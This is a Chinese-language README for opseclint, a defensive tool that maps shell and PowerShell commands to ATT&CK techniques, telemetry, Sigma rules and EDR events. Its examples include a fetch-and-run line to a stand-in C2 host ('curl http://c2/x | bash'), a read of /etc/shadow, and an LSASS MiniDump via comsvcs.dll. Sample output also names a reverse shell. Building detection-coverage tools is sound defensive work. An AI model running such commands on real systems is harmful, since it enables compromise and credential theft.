ezekiellabs/opseclint
GitHub: ezekiellabs/opseclint
opseclint 是一款命令行检测覆盖率分析器,将命令和脚本静态映射到 ATT&CK 技术、主机遥测和检测规则,帮助安全团队评估「防御者会看到什么」。
Stars: 0 | Forks: 0

目录
(返回顶部)
## 快速开始 ### 前置条件 运行时无需任何依赖。`opseclint` 以单一独立二进制文件发布。如果要从源码构建,你需要稳定的 [Rust][rust-url] 工具链(edition 2024)。 ### 安装说明 ``` cargo install opseclint # from crates.io ``` 或者从 [Releases][releases-url] 页面获取适用于 Linux、macOS(Intel + Apple Silicon)或 Windows 的预编译二进制文件,或者通过检出源码进行构建: ``` cargo build --release # -> target/release/opseclint ``` **Docker**:一个小型(约 750 KB,基于 `scratch`)的镜像已发布到 GHCR: ``` docker run --rm -v "$PWD":/work ghcr.io/gerrrt/opseclint /work/script.sh docker run --rm ghcr.io/gerrrt/opseclint -c 'curl http://c2/x | bash' ```(返回顶部)
## 使用方法 ``` opseclint script.sh # analyze a file (Linux/auditd by default) opseclint -c 'sudo cat /etc/shadow' # analyze a single command cat playbook.sh | opseclint # read from stdin opseclint app.ps1 --platform windows-sysmon # analyze against Windows/Sysmon opseclint script.sh --min 50 # only show findings >= detectability 50 opseclint script.sh --json # machine-readable output opseclint script.sh --sarif # SARIF 2.1.0 (GitHub code scanning) opseclint script.sh --sigma ./sigma # enrich with a real SigmaHQ checkout opseclint script.sh --check-rule r.yml # does this Sigma rule fire on each line? opseclint script.sh --sigma ./sigma --coverage-gaps # which actions no rule catches opseclint script.sh --ci --threshold 70 # exit 1 if loudest action >= 70 ``` ### 平台支持 使用 `--platform` 选择主机遥测模型(默认为 `linux-auditd`): | 平台 | 遥测模型 | | ---------------- | ------------------------------------------------ | | `linux-auditd` | 配置了 auditd / EDR syscall 事件的 Linux | | `windows-sysmon` | 配置了 Sysmon (Event IDs) / 安全日志的 Windows | | `macos-es` | 配置了 Endpoint Security (ESF) / 统一日志的 macOS | 每个平台都有其独立的内置知识库,因此 `whoami` 会根据目标解析为 Linux 的 `execve()` 遥测、Windows Sysmon EID 1,或 macOS ESF 的 `NOTIFY_EXEC`。Windows 程序名称会被标准化处理(`C:\…\certutil.exe` → `certutil`)。当与 `--sigma` 结合使用时,规则会根据平台的 `logsource.product` 进行过滤。 ### 真实的 Sigma 规则 默认情况下,种子知识库中的检测引用是_代表性的_。将 `--sigma` 指向 [SigmaHQ/sigma][sigma-url] 的检出副本(或任何包含 Sigma YAML 的目录),opseclint 会根据其 ATT&CK 技术标签对每个规则建立索引,然后将每个发现的引用替换为**真实的规则标题和匹配的 UUID**。仅限与平台相关的规则。 ``` git clone --depth 1 https://github.com/SigmaHQ/sigma opseclint examples/recon.sh --sigma sigma/rules # ◆ Sigma: Linux 命令历史记录篡改 (fdc88d25-…) 触发 (high) # ◆ Sigma: Linux 反向 Shell 指示器 (83dcd9f6-…) 未触发 (critical) ``` 每个附加规则也会针对匹配的命令进行**评估**,因此输出行会注明它实际上是会 `fire`(触发)、`no-fire`(不触发),还是 `indeterminate`(不确定)(这意味着该规则需要一个静态分析器无法感知的字段)。同样的解析索引构成了 [`--coverage-gaps`](#coverage-gaps---coverage-gaps) 的基础。 解析后的索引会缓存到磁盘(通过规则集目录的指纹进行标识),因此针对大型检出副本的重复运行会跳过重新解析,并在命中时标注 `[cached]`。可以使用 `OPSECLINT_CACHE_DIR` 覆盖缓存位置;`--no-sigma-cache` 会绕过缓存。 ### 评估单个规则 (`--check-rule`) 除了技术标签匹配外,opseclint 还能根据 Sigma 规则的实际 `detection:`/`condition:` 逻辑对命令进行评估,并按命令报告结果是 **FIRES**(触发)、**NO-FIRE**(不触发),还是 **INDETERMINATE**(不确定)。最后一种情况意味着该规则依赖于一个静态分析器无法合成的字段(例如 `ParentImage`、哈希值等),因此 opseclint 会坦诚地弃权而不是随意猜测。 ``` $ opseclint script.sh --check-rule docker_socket.yml sigma rule check: Docker Socket Access Via Curl Or Wget (85f46916-…) L1 curl FIRES L2 wget NO-FIRE L7 curl INDETERMINATE (needs ParentImage) ``` ### 覆盖盲点 (`--coverage-gaps`) 这是紫队的关键功能:给定一个行动手册和一个真实的 `--sigma` 规则集,报告其**盲点**,或者那些 ATT&CK 技术_已经有对应_规则,但没有一个规则能在该具体命令上实际触发的操作。 ``` $ opseclint examples/recon.sh --sigma sigma/rules --coverage-gaps opseclint — coverage gaps (linux-auditd) vs 251 rule(s) ✓ COVERED L23 Bash /dev/tcp reverse shell [T1059.004, T1071] fires: Suspicious Reverse Shell Command Line ⚠ GAP L18 Socket / network connection discovery [T1049] rule(s) exist for its technique(s), but none fire ? INDET L6 System owner / current user discovery [T1033] needs host fields to confirm summary 1 gap(s), 10 covered, 3 indeterminate, 1 no-rules ``` `GAP` = 存在该技术的规则,但在此操作上不会触发; `INDET` = 匹配的规则需要一个静态分析器无法感知的字段; `NO-RULES` = 该规则集对该技术完全没有规则。在配合 `--ci` 使用时,一旦发现任何盲点,运行就会以非零状态码退出。 ### 覆盖率差异对比 (`--diff`) 使用 `--json` 保存报告,之后将新的运行结果与它进行对比,以查看覆盖率发生了什么变化 —— 发现被**添加**、**移除**,或者其可检测性 / Sigma 结论**发生了改变**。它回答了“这次改动让我更暴露还是更隐蔽了?”—— 无论改动是发生在行动手册上(我变得更隐蔽了吗?)还是发生在 `--sigma` 规则集上(我的新规则填补盲点了吗?)。 ``` $ opseclint before.sh --json > baseline.json $ opseclint after.sh --diff baseline.json opseclint · coverage diff · linux-auditd baseline 4 finding(s) · current 2 finding(s) ──────────────────────────────────────────────────────────── + MEDIUM 35 Running process discovery T1057 - CRITICAL 82 Bash /dev/tcp reverse shell — interactive C2 channel T1059.004, T1071 - CRITICAL 80 Piping downloaded content directly into a shell interpreter T1059.004, T1105 - HIGH 55 Remote file transfer / HTTP client — tool ingress or exfil T1105 ──────────────────────────────────────────────────────────── summary +1 · -3 · ~0 · max noise 82 → 45 · quieter ``` 按规则折叠(而不是按行折叠),因此即使行号发生变动也能正常使用。`--diff` 支持 `--json` 以生成机器可读的增量数据,并可配合 `--sigma` 捕捉导致发现从 `no-fire` 变为 `fires` 的规则变化。在配合 `--ci` 使用时,如果改动变得**更暴露**(即峰值可检测性超过了基准线),运行就会以非零状态码退出,这与工具的“最响动作”指标相匹配。 将其与 **`--coverage-gaps`** 结合使用,可以对比两个规则集之间的盲点 —— 哪些盲点被**填补**了,哪些又**出现**了 —— 这正是紫队“我的新规则到底有没有改善覆盖率?有没有出现退步?”的检查手段: ``` $ opseclint playbook.sh --sigma old-rules --coverage-gaps --json > gaps.json $ opseclint playbook.sh --sigma new-rules --coverage-gaps --diff gaps.json opseclint · coverage-gap diff · linux-auditd gaps 3 → 1 · covered 5 → 7 ──────────────────────────────────────────────────────────── ✓ CLOSED Bash /dev/tcp reverse shell — interactive C2 channel GAP → COVERED [T1059.004, T1071] ⚠ OPENED Socket / network connection discovery COVERED → GAP [T1049] ──────────────────────────────────────────────────────────── summary 1 closed · 1 opened · 0 changed · coverage regressed ``` 此时 `--ci` 会在覆盖率**退步**(即原本已被覆盖的操作变成了盲点,或者总盲点数增加)时以非零状态码退出。 ### EDR 遥测 (`--edr`) 原生遥测数据行回答了“操作系统记录了什么?”;而 `--edr` 回答了“我的 EDR 控制台会显示什么?”这个问题,它将每个发现映射到主要 EDR 以具体的传感器事件或狩猎表呈现出的形式。传入特定的供应商名称(`crowdstrike`、`defender`、`sentinelone`、`elastic`),或者省略值以获取全部四个供应商的结果。除此之外输出格式保持不变,因此这完全是一个可选功能。 ``` $ opseclint -c 'rundll32 comsvcs.dll, MiniDump 660 lsass.dmp full' --platform windows --edr ● CRITICAL 84 L1 LSASS memory dump via comsvcs.dll MiniDump — credential access ├ T1003.001 OS Credential Dumping: LSASS Memory ├ ◈ Sysmon EID 10 (Process Access) targeting lsass.exe ├ ◆ Sigma: LSASS dump via comsvcs MiniDump (proc_creation_win) (high) ├ ◎ CrowdStrike Falcon: (credential-access detection; ProcessRollup2 of the accessing process) ├ ◎ Microsoft Defender for Endpoint: DeviceEvents (ActionType OpenProcessApiCall) ├ ◎ SentinelOne: Cross-Process (open process handle) └ ◎ Elastic Defend: process (event.action:process_access) ``` 映射的工作原理是将原生遥测数据分类为某种**事件类**(进程创建、网络连接、文件写入、模块加载、LSASS 访问、日志清除等),然后按供应商查找该类别,以便新的知识库条目能自动获得 EDR 覆盖支持。CrowdStrike 的值对应 `event_simpleName`,Defender 的值对应高级狩猎表,SentinelOne 的值对应深度可见性事件类型,Elastic 的值对应 ECS 的 `event.category`/`event.type`。它们是**代表性的**。请根据你自己的传感器版本和遥测配置进行验证。`(…)` 值表示该传感器没有针对此类的一等事件,相关活动仅作为间接现象呈现。 ### GitHub 代码扫描 `--sarif` 会生成 [SARIF 2.1.0][sarif-url] 格式,因此发现的结果会显示在代码仓库的 **Security → Code scanning**(安全 → 代码扫描)选项卡中,并带上它们的 ATT&CK 技术标签,以及由可检测性评分换算的 `security-severity`。请参阅 [`.github/workflows/ci.yml`](.github/workflows/ci.yml) 查看上传作业示例。 ### 作为 GitHub Action 使用 复合操作 ([`action.yml`](action.yml)) 会下载已发布的二进制文件,并在 CI 中(Linux runner 上)分析指定路径: ``` - uses: Gerrrt/opseclint@v0.1.1 with: path: examples/ platform: linux-auditd # or windows-sysmon | macos-es fail-threshold: "75" # optional: fail the job on a loud action sarif-file: opseclint.sarif # optional: emit SARIF... - uses: github/codeql-action/upload-sarif@v3 # ...then upload it with: sarif_file: opseclint.sarif ``` ### 可检测性评分 这是一个 0–100 的估算值,用于衡量某个操作在防御遥测数据中暴露的强度(数值越高越明显),划分等级如下: | 评分 | 严重性 | | ------ | -------- | | 0–24 | LOW | | 25–49 | MEDIUM | | 50–74 | HIGH | | 75–100 | CRITICAL | `--ci` 会将其转变为一个门槛:当最暴露的已建模动作达到或超过 `--threshold` 时,它会以非零状态码退出,这样团队就可以在战术手段超过约定的噪声预算时让流水线失败。 ### 工作原理 1. **解析器** (`parser.rs`):具备引号识别能力的分词器,它会剥离注释和 `VAR=value` 赋值语句,按控制操作符进行拆分,解包 `sudo`/`env`/…,并将每个片段解析为程序 + 参数。预处理过程会合并换行符、解析隐藏在 `$(...)`/反引号替换中的,并处理 here-doc(其主体被视为数据跳过,除非它提供给 shell 解释器)。 2. **知识库** (`data/knowledge*.json`):每个平台对应一个知识库;每个条目将命令(或原始模式)映射到 ATT&CK 技术、产生的遥测数据、代表性的 Sigma 式检测,以及可检测性评分。 3. **分析器** (`analyzer.rs`):将每个动作与知识库进行匹配,按行去重,并按暴露程度从高到低对发现结果进行排序。 4. **报告** (`report.rs`):输出到终端、JSON 或 SARIF,以及 CI 门槛控制。 所有的知识库都在编译时被嵌入,因此 opseclint 以单一静态二进制文件发布,没有运行时依赖。增加覆盖率属于数据变更,而非代码变更。详情请参阅 [CONTRIBUTING.md](CONTRIBUTING.md)。 尝试针对 [`examples/`](examples/) 中的行动手册运行它: ``` opseclint examples/recon.sh # post-compromise recon (Linux) opseclint examples/persistence.sh # accounts, cron, systemd, ld.so.preload, … opseclint examples/defense-evasion.sh # SELinux/firewall/auditd off, log & history wiping opseclint examples/windows-postex.ps1 --platform windows-sysmon # Windows LOLBins, credential access opseclint examples/macos-postex.sh --platform macos-es # keychain, Gatekeeper, launchd ```(返回顶部)
## 路线图 - [x] 三大平台:Linux/auditd、Windows/Sysmon、macOS/Endpoint Security - [x] 支持磁盘缓存的真实 SigmaHQ 规则补充 - [x] SARIF 输出 → GitHub 代码扫描 - [x] 分发渠道:crates.io、预编译二进制文件、GitHub Action 以及 GHCR 镜像 - [x] [Sigma 规则逻辑评估器](docs/design/rule-logic-evaluator.md):支持三值逻辑 `FIRES` / `NO-FIRE` / `INDETERMINATE`,通过 `--check-rule` 调用 - [x] `--coverage-gaps`:标记那些技术已有规则但实际均未触发的操作 - [x] macOS/Endpoint Security 知识库深度提升,在广度上与 Linux/Windows 持平(66 条目) - [x] [特定于 EDR 的遥测映射](#edr-telemetry---edr):通过 `--edr` 支持 CrowdStrike、Defender、SentinelOne、Elastic - [x] Linux/Windows 知识库深度提升,增加了云、容器/Kubernetes、LOLBin 以及现代持久化/规避手段的覆盖(81 / 83 条目) - [x] [覆盖率差异对比](#coverage-diff---diff):通过 `--diff` 将运行结果与已保存的报告进行对比,查看覆盖率的变化 完整列表请查看 [open issues][issues-url],发布历史请参阅 [CHANGELOG.md](CHANGELOG.md)。(返回顶部)
## 许可证 基于 MIT 许可证分发。更多信息请参阅 [`LICENSE`](LICENSE)。(返回顶部)
## 联系方式 Garrett Allen — [@Gerrrt](https://github.com/Gerrrt) 项目链接:[https://github.com/Gerrrt/opseclint](https://github.com/Gerrrt/opseclint)(返回顶部)
标签:Rust, 可视化界面, 子域名变形, 安全运营, 扫描框架, 网络流量审计, 请求拦截, 通知系统